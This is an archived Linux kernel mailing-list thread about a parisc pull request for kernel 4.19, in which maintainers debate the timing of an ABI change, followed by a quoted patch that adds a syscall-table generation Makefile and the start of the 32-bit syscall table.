Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2888506>

Hi Greg,

please pull a last set of fixes for the parisc architecture for kernel 4.19 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.19-3

The major change is for parisc64 to use a 64-bit suseconds_t type to
match what glibc expects for 64-bit userspace. It's an ABI change, but
since we don't have a 64-bit userspace on parisc yet, it won't introduce
a breakage.

Other than that we simply drop unused code and outdated gcc version
checks.

Thanks,
Helge

----------------------------------------------------------------
Arnd Bergmann (1):
      parisc64: change __kernel_suseconds_t to match glibc

Christoph Hellwig (1):
      parisc: remove the dead ccio-rm-dma driver

Helge Deller (1):
      parisc: Use PARISC_ITLB_TRAP constant in entry.S

Masahiro Yamada (1):
      parisc: remove check for minimum required GCC version

 arch/parisc/Makefile                       |   9 --
 arch/parisc/include/uapi/asm/posix_types.h |   3 -
 arch/parisc/kernel/entry.S                 |   2 +-
 drivers/parisc/Makefile                    |   3 -
 drivers/parisc/ccio-rm-dma.c               | 202 -----------------------------
 5 files changed, 1 insertion(+), 218 deletions(-)
 delete mode 100644 drivers/parisc/ccio-rm-dma.c


From - Thu Nov 08 21:42:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc fixes for kernel v4.19
Date: Tue, 2 Oct 2018 14:16:45 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20181002211645.GA6454@kroah.com>
References: <20181002210213.GA17826@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1538514884 2086 195.159.176.226 (2 Oct 2018 21:14:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 2 Oct 2018 21:14:44 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@hansenpartnership.com>,
        John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 02 23:14:39 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g7S07-0000OO-Fa
	for glk-linux-kernel-4@m.gmane.org; Tue, 02 Oct 2018 23:14:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728483AbeJCECG (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 3 Oct 2018 00:02:06 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:49652 "EHLO
        mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728351AbeJCECG (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 3 Oct 2018 00:02:06 -0400
Original-Received: from localhost (unknown [64.124.202.226])
        by mail.linuxfoundation.org (Postfix) with ESMTPSA id 54356EA4;
        Tue,  2 Oct 2018 21:16:46 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20181002210213.GA17826@ls3530.fritz.box>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2888532 gmane.linux.ports.parisc:29065
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2888532>

On Tue, Oct 02, 2018 at 11:02:13PM +0200, Helge Deller wrote:
> Hi Greg,
> 
> please pull a last set of fixes for the parisc architecture for kernel 4.19 from:
> 
>   git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.19-3
> 
> The major change is for parisc64 to use a 64-bit suseconds_t type to
> match what glibc expects for 64-bit userspace. It's an ABI change, but
> since we don't have a 64-bit userspace on parisc yet, it won't introduce
> a breakage.

Isn't it a bit "late" in the release cycle for such a change?  Why not
do this on the -rc1 release?

> Other than that we simply drop unused code and outdated gcc version
> checks.

Why are those needed now?

thanks,

greg k-h


From - Thu Nov 08 21:42:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc fixes for kernel v4.19
Date: Tue, 2 Oct 2018 23:46:11 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <ad45f249-e064-d5a4-c658-eaa03bb3a04a@gmx.de>
References: <20181002210213.GA17826@ls3530.fritz.box>
 <20181002211645.GA6454@kroah.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1538516659 32304 195.159.176.226 (2 Oct 2018 21:44:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 2 Oct 2018 21:44:19 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@hansenpartnership.com>,
        John David Anglin <dave.anglin@bell.net>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 02 23:44:15 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g7SSj-0005it-BF
	for glk-linux-kernel-4@m.gmane.org; Tue, 02 Oct 2018 23:44:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727535AbeJCEbr (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 3 Oct 2018 00:31:47 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:55713 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1726672AbeJCEbr (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 3 Oct 2018 00:31:47 -0400
Original-Received: from [192.168.20.60] ([92.116.181.135]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0Lj1jy-1fasMi1hOQ-00dIoW; Tue, 02
 Oct 2018 23:46:14 +0200
Original-Received: from [192.168.20.60] ([92.116.181.135]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0Lj1jy-1fasMi1hOQ-00dIoW; Tue, 02
 Oct 2018 23:46:14 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller@gmx.de; prefer-encrypt=mutual; keydata=
 xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
 y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
 +sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
 KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
 OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
 AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
 AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
 UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
 +ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
 iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
 288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
 vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <20181002211645.GA6454@kroah.com>
Content-Language: en-US
X-Provags-ID: V03:K1:kcqWhRpU0EAVzPr+2ARJQ85Ym6YIyVsj7P6lo4ChYugRQZq/KY8
 iQjKZZ8AsNyLCGxSgdErv8Ln7Am7Kx0ezpziNoVvhVWutK0atcqYVhrpWi0YTyYW+lSiPMY
 Z9nLGnmy2cvNcEkIfVGSK2wOPabMnBGQCUQqbTH/yjnSTB9By/FfRcYbUcW8uFV1CurH+kY
 02We0j2O7ZWGgK3eAoruA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:L2SZt/E/mSo=:gsAKhySfIfj3gil+DrrSGS
 bMA8+zZT0EAGUdOrTXDn+CNuheNF3+l0MKctvU+XwjzJRtsuw2PsWy3xwZch/ovClWh9eg2tD
 5PW2NLYwsvUruj5cCtkqWMtWh/fNVoiA10yDXigJJNevfsAFo6IpvycZ41W+ZqaBazFYVF2YV
 2dc+jKXfWtGqFf9J1ZmFPUaR6+weF+VpEwhSWP/EmrGAm47KGaTTZewzz66L1UhpNRR+VgcrL
 CGHoao9djtM2ca5o1l5vCXFvXsEznlqkyj5Yvy2uX8rK3NmycAXc77k+907mheK080B+JOe8D
 oBZOWANMj+CnsI3cURX/9cnfJJuYbWH371nM2oc+Bn7/P0J4lkJwjr9OGxLDwfx5evYil7wP4
 K+8sJDDXLfPLGPlET4vz/TO4VRz8dO/C4uvvh6HkXWN1bUkrBCaN0JFT2czA/VMz4XkJU57Zs
 dwxpPeTq5sMDyXq0FuCPjCmlepWeI3xmztRA52aguD7AzRN26rQkIL8d6kqHv0hUHMcyHO5K+
 4nXIJz7EDEUJHKDkFnzI1z5j4gz8lrVoaIhhQrAnbkDnjSDFWKgqulCggLpFmfdUdUozR5nFo
 BOPu8qfQxdMqAGiDpgsNZJogqgJkr37o6WH+tfDbV969IJeEAzb14YIxahSFDlYGaBraIYxD6
 w1HyfM/8vtk0f0wRrUZiA6SvMjhuf0BRgWQzXKk0u/7OlYPJkf6IFkmdO7bnTROLZbFg9V+1Z
 mh2aiwTQ3ORmKv7TmIJhHIQv8/85/VqqjoPdnq3xpjcGLKxQxYAKd4y9YJJo9C3A3YAAOv7k 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2888560 gmane.linux.ports.parisc:29066
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2888560>

Hi Greg,

On 02.10.2018 23:16, Greg Kroah-Hartman wrote:
> On Tue, Oct 02, 2018 at 11:02:13PM +0200, Helge Deller wrote:
>> please pull a last set of fixes for the parisc architecture for kernel 4.19 from:
>>
>>   git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.19-3
>>
>> The major change is for parisc64 to use a 64-bit suseconds_t type to
>> match what glibc expects for 64-bit userspace. It's an ABI change, but
>> since we don't have a 64-bit userspace on parisc yet, it won't introduce
>> a breakage.
> 
> Isn't it a bit "late" in the release cycle for such a change?  Why not
> do this on the -rc1 release?

I've tagged it for stable release.
So, it can go in now, or just wait until -rc1 and go in later.
 
>> Other than that we simply drop unused code and outdated gcc version
>> checks.
> 
> Why are those needed now?

The patch in there which is by me changes one line simply cleans up a patch which
went in during the 4.19 merge cycle. So it would be nice to have it
added now before v4.19 gets released.
The other two patches are trivial and just remove dead code.
I rate them all as non-critical, but nice-to-have-in-v4.19. 

If you disagree I'm absolutely fine to wait with all of them 
for the next merge window.

Thanks!
Helge


From - Thu Nov 08 21:42:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc fixes for kernel v4.19
Date: Tue, 2 Oct 2018 15:24:52 -0700
Lines: 47
Approved: news@gmane.org
Message-ID: <20181002222452.GB11788@kroah.com>
References: <20181002210213.GA17826@ls3530.fritz.box>
 <20181002211645.GA6454@kroah.com>
 <ad45f249-e064-d5a4-c658-eaa03bb3a04a@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1538518970 9260 195.159.176.226 (2 Oct 2018 22:22:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 2 Oct 2018 22:22:50 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@hansenpartnership.com>,
        John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 03 00:22:46 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g7T41-0002K2-JZ
	for glk-linux-kernel-4@m.gmane.org; Wed, 03 Oct 2018 00:22:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726806AbeJCFKa (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 3 Oct 2018 01:10:30 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:49642 "EHLO
        mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1725976AbeJCFK3 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 3 Oct 2018 01:10:29 -0400
Original-Received: from localhost (unknown [64.124.202.226])
        by mail.linuxfoundation.org (Postfix) with ESMTPSA id D5719AF0;
        Tue,  2 Oct 2018 22:24:53 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <ad45f249-e064-d5a4-c658-eaa03bb3a04a@gmx.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2888611 gmane.linux.ports.parisc:29067
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2888611>

On Tue, Oct 02, 2018 at 11:46:11PM +0200, Helge Deller wrote:
> Hi Greg,
> 
> On 02.10.2018 23:16, Greg Kroah-Hartman wrote:
> > On Tue, Oct 02, 2018 at 11:02:13PM +0200, Helge Deller wrote:
> >> please pull a last set of fixes for the parisc architecture for kernel 4.19 from:
> >>
> >>   git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.19-3
> >>
> >> The major change is for parisc64 to use a 64-bit suseconds_t type to
> >> match what glibc expects for 64-bit userspace. It's an ABI change, but
> >> since we don't have a 64-bit userspace on parisc yet, it won't introduce
> >> a breakage.
> > 
> > Isn't it a bit "late" in the release cycle for such a change?  Why not
> > do this on the -rc1 release?
> 
> I've tagged it for stable release.
> So, it can go in now, or just wait until -rc1 and go in later.

Why is a major API change a viable stable change?  What bugfix does it
provide?

> >> Other than that we simply drop unused code and outdated gcc version
> >> checks.
> > 
> > Why are those needed now?
> 
> The patch in there which is by me changes one line simply cleans up a patch which
> went in during the 4.19 merge cycle. So it would be nice to have it
> added now before v4.19 gets released.
> The other two patches are trivial and just remove dead code.
> I rate them all as non-critical, but nice-to-have-in-v4.19. 
> 
> If you disagree I'm absolutely fine to wait with all of them 
> for the next merge window.

Normally I only let "bugfixes" into my trees at this point in time.
cleanups always wait for the next -rc1 merge window as that's what it is
there for.  So I'd recommend waiting as well.

I'm more "worried" about the api change listed above.

thanks,

greg k-h


From - Thu Nov 08 21:42:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v2 3/5] parisc: add system call table generation support
Date: Wed, 3 Oct 2018 14:17:44 +0530
Lines: 714
Approved: news@gmane.org
Message-ID: <CALxhOnjraUBvJh0x-Sd9dPEm0UQg4a+6rUjrRHUt5+NhHL5WpQ@mail.gmail.com>
References: <1538058267-3765-1-git-send-email-firoz.khan@linaro.org> <1538058267-3765-4-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1538556356 2090 195.159.176.226 (3 Oct 2018 08:45:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 3 Oct 2018 08:45:56 +0000 (UTC)
Cc: y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Arnd Bergmann <arnd@arndb.de>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 03 10:45:51 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g7cn0-0000Ra-8x
	for glk-linux-kernel-4@m.gmane.org; Wed, 03 Oct 2018 10:45:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727505AbeJCPfX (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 3 Oct 2018 11:35:23 -0400
Original-Received: from mail-yw1-f66.google.com ([209.85.161.66]:40761 "EHLO
        mail-yw1-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727188AbeJCPfW (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 3 Oct 2018 11:35:22 -0400
Original-Received: by mail-yw1-f66.google.com with SMTP id l79-v6so1956634ywc.7
        for <linux-kernel@vger.kernel.org>; Wed, 03 Oct 2018 01:47:55 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=LdUgIfLDBcT8pjtlWN5iXQ++tsfksi1+lN2erOe1kzM=;
        b=Tf77GP5Kn1T45nkVeBo4+RpVoxkFb6kC6//KERNFpRpqOXAEkLtBcxNiK0LA8s7a20
         Knb461tyulKVgZfxY0d7teSCp/z9cuFDgFxuA9JkRc83J4Zt8pDmLyr8cnwLNFcdKolG
         pyh6UskCS2czBu5QMD8wEqdLeTJpR0ysDh2jY=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=LdUgIfLDBcT8pjtlWN5iXQ++tsfksi1+lN2erOe1kzM=;
        b=PIkvBISjEqneI/jZ6ZgncDV2/bgq3tSuk729rDNJjrUSESkxUmUh9mD4oVGuOhmjtv
         90Gg/nm8DfC5ZICS02DRXSKSjtyZppaLB14nTTKEMnP44PlJ60tJnA3xsEKWFUgdyoox
         qxnm4zOCfBZUAexmp0z5VxP9ye3qdVmVoLtxnWGRZCC4uZtD9U/9mN9odVqKAGsL37sS
         p+b4TqdZrMGetTEf2BBQExq7NhNeLHZfzq8XQHXKTECdbYJRSNRD72zrkbIsk4JA0NZR
         sWvrH2gkGtKk1HQwdpqt7YlzK8hbePV6EsIcXWah9cl7mK+ajlIPyfiYPcwPhz552tVH
         ePig==
X-Gm-Message-State: ABuFfogovs4H32JOD8cSK6YTqJrQsWxJwFTb6uT76Mb/eWCtiAPHc43N
        5s1bH3BUAJqzRpKC1D4oC2IbHjKdpPnNH7iKS+ddcNRGGuc=
X-Google-Smtp-Source: ACcGV60Qi8UiW4fPg6NSH9gpuOrm7a7GpdDbltrlMX2RU+cZ4NTj7tJwpWFDAb1ci81aHeM2jJCPwDg4Y3e3kQ/ntRA=
X-Received: by 2002:a0d:d801:: with SMTP id a1-v6mr197466ywe.399.1538556475373;
 Wed, 03 Oct 2018 01:47:55 -0700 (PDT)
In-Reply-To: <1538058267-3765-4-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2888888 gmane.linux.ports.parisc:29068 gmane.linux.kernel.year-2038:3448 gmane.linux.kernel.cross-arch:47329
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2888888>

On Thu, 27 Sep 2018 at 19:55, Firoz Khan <firoz.khan@linaro.org> wrote:
>
> The system call tables are in different format in all
> architecture and it will be difficult to manually add or
> modify the system calls in the respective files. To make
> it easy by keeping a script and which'll generate the
> header file and syscall table file so this change will
> unify them across all architectures.
>
> The system call table generation script is added in
> syscalls directory which contain the script to generate
> both uapi header file system call table generation file
> and syscall_32/64.tbl file which'll be the input for the
> scripts.
>
> syscall_32/64.tbl contains the list of available system calls
> along with system call number and corresponding entry point.
> Add a new system call in this architecture will be possible
> by adding new entry in the syscall_32/64.tbl file.
>
> Adding a new table entry consisting of:
>         - System call number.
>         - ABI.
>         - System call name.
>         - Entry point name.
>         - Compat entry name, if required.
>
> syscallhdr.sh and syscalltbl.sh will generate uapi header-
> unistd_32/64.h and syscall_table_32/64/c32.h files respect-
> ively. File syscall_table_32/64/c32.h is included by sys-
> call.S - the real system call table. Both .sh files will
> parse the content syscall.tbl to generate the header and
> table files.
>
> ARM, s390 and x86 architecuture does have the similar support.
> I leverage their implementation to come up with a generic
> solution.
>
> Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
> ---
>  arch/parisc/kernel/syscalls/Makefile       |  55 +++++
>  arch/parisc/kernel/syscalls/syscall_32.tbl | 342 +++++++++++++++++++++++++++++
>  arch/parisc/kernel/syscalls/syscall_64.tbl | 342 +++++++++++++++++++++++++++++
>  arch/parisc/kernel/syscalls/syscallhdr.sh  |  35 +++
>  arch/parisc/kernel/syscalls/syscalltbl.sh  |  42 ++++
>  5 files changed, 816 insertions(+)
>  create mode 100644 arch/parisc/kernel/syscalls/Makefile
>  create mode 100644 arch/parisc/kernel/syscalls/syscall_32.tbl
>  create mode 100644 arch/parisc/kernel/syscalls/syscall_64.tbl
>  create mode 100644 arch/parisc/kernel/syscalls/syscallhdr.sh
>  create mode 100644 arch/parisc/kernel/syscalls/syscalltbl.sh
>
> diff --git a/arch/parisc/kernel/syscalls/Makefile b/arch/parisc/kernel/syscalls/Makefile
> new file mode 100644
> index 0000000..e8b80ee
> --- /dev/null
> +++ b/arch/parisc/kernel/syscalls/Makefile
> @@ -0,0 +1,55 @@
> +# SPDX-License-Identifier: GPL-2.0
> +out := arch/$(SRCARCH)/include/generated/asm
> +uapi := arch/$(SRCARCH)/include/generated/uapi/asm
> +
> +_dummy := $(shell [ -d '$(uapi)' ] || mkdir -p '$(uapi)') \
> +         $(shell [ -d '$(out)' ] || mkdir -p '$(out)')
> +
> +syscall32 := $(srctree)/$(src)/syscall_32.tbl
> +syscall64 := $(srctree)/$(src)/syscall_64.tbl
> +
> +syshdr := $(srctree)/$(src)/syscallhdr.sh
> +systbl := $(srctree)/$(src)/syscalltbl.sh
> +
> +quiet_cmd_syshdr = SYSHDR  $@
> +      cmd_syshdr = $(CONFIG_SHELL) '$(syshdr)' '$<' '$@'  \
> +                  '$(syshdr_abi_$(basetarget))'          \
> +                  '$(syshdr_pfx_$(basetarget))'          \
> +                  '$(syshdr_offset_$(basetarget))'
> +
> +quiet_cmd_systbl = SYSTBL  $@
> +      cmd_systbl = $(CONFIG_SHELL) '$(systbl)' '$<' '$@'  \
> +                   '$(systbl_abi_$(basetarget))'          \
> +                  '$(systbl_offset_$(basetarget))'
> +
> +syshdr_offset_unistd_32 := __NR_Linux
> +$(uapi)/unistd_32.h: $(syscall32) $(syshdr)
> +       $(call if_changed,syshdr)
> +
> +syshdr_offset_unistd_64 := __NR_Linux
> +$(uapi)/unistd_64.h: $(syscall64) $(syshdr)
> +       $(call if_changed,syshdr)
> +
> +systbl_abi_syscall_table_32 := 32
> +$(out)/syscall_table_32.h: $(syscall32) $(systbl)
> +       $(call if_changed,systbl)
> +
> +systbl_abi_syscall_table_64 := 64
> +$(out)/syscall_table_64.h: $(syscall64) $(systbl)
> +       $(call if_changed,systbl)
> +
> +systbl_abi_syscall_table_c32 := c32
> +$(out)/syscall_table_c32.h: $(syscall32) $(systbl)
> +       $(call if_changed,systbl)
> +
> +uapisyshdr-y                   += unistd_32.h unistd_64.h
> +syshdr-y                       += syscall_table_32.h     \
> +                                   syscall_table_64.h     \
> +                                   syscall_table_c32.h

Appreciate someone can suggest better file name for compat.
In syscall_table_c32.h, c32 looks not good.

Thanks
Firoz

> +
> +targets        += $(uapisyshdr-y) $(syshdr-y)
> +
> +PHONY += all
> +all: $(addprefix $(uapi)/,$(uapisyshdr-y))
> +all: $(addprefix $(out)/,$(syshdr-y))
> +       @:
> diff --git a/arch/parisc/kernel/syscalls/syscall_32.tbl b/arch/parisc/kernel/syscalls/syscall_32.tbl
> new file mode 100644
> index 0000000..9d66e64d
> --- /dev/null
> +++ b/arch/parisc/kernel/syscalls/syscall_32.tbl
> @@ -0,0 +1,342 @@
> +#
> +# 32-bit system call numbers and entry vectors
> +#
> +# The format is:
> +# <number> <abi> <name> <entry point> <compat entry point>
> +#
> +# The abi is always "common" for this file.
> +#
> +0       common  restart_syscall                 sys_restart_syscall
> +1       common  exit                            sys_exit
> +2       common  fork                            sys_fork_wrapper
> +3       common  read                            sys_read
> +4       common  write                           sys_write
> +5       common  open                            sys_open                        compat_sys_open
> +6       common  close                           sys_close
> +7       common  waitpid                         sys_waitpid
> +8       common  creat                           sys_creat
> +9       common  link                            sys_link
> +10      common  unlink                          sys_unlink
> +11      common  execve                          sys_execve                      compat_sys_execve
> +12      common  chdir                           sys_chdir
> +13      common  time                            sys_time                        compat_sys_time
> +14      common  mknod                           sys_mknod
> +15      common  chmod                           sys_chmod
> +16      common  lchown                          sys_lchown
> +17      common  socket                          sys_socket
> +18      common  stat                            sys_newstat                     compat_sys_newstat
> +19      common  lseek                           sys_lseek                       compat_sys_lseek
> +20      common  getpid                          sys_getpid
> +21      common  mount                           sys_mount                       compat_sys_mount
> +22      common  bind                            sys_bind
> +23      common  setuid                          sys_setuid
> +24      common  getuid                          sys_getuid
> +25      common  stime                           sys_stime                       compat_sys_stime
> +26      common  ptrace                          sys_ptrace                      compat_sys_ptrace
> +27      common  alarm                           sys_alarm
> +28      common  fstat                           sys_newfstat                    compat_sys_newfstat
> +29      common  pause                           sys_pause
> +30      common  utime                           sys_utime                       compat_sys_utime
> +31      common  connect                         sys_connect
> +32      common  listen                          sys_listen
> +33      common  access                          sys_access
> +34      common  nice                            sys_nice
> +35      common  accept                          sys_accept
> +36      common  sync                            sys_sync
> +37      common  kill                            sys_kill
> +38      common  rename                          sys_rename
> +39      common  mkdir                           sys_mkdir
> +40      common  rmdir                           sys_rmdir
> +41      common  dup                             sys_dup
> +42      common  pipe                            sys_pipe
> +43      common  times                           sys_times                       compat_sys_times
> +44      common  getsockname                     sys_getsockname
> +45      common  brk                             sys_brk
> +46      common  setgid                          sys_setgid
> +47      common  getgid                          sys_getgid
> +48      common  signal                          sys_signal
> +49      common  geteuid                         sys_geteuid
> +50      common  getegid                         sys_getegid
> +51      common  acct                            sys_acct
> +52      common  umount2                         sys_umount
> +53      common  getpeername                     sys_getpeername
> +54      common  ioctl                           sys_ioctl                       compat_sys_ioctl
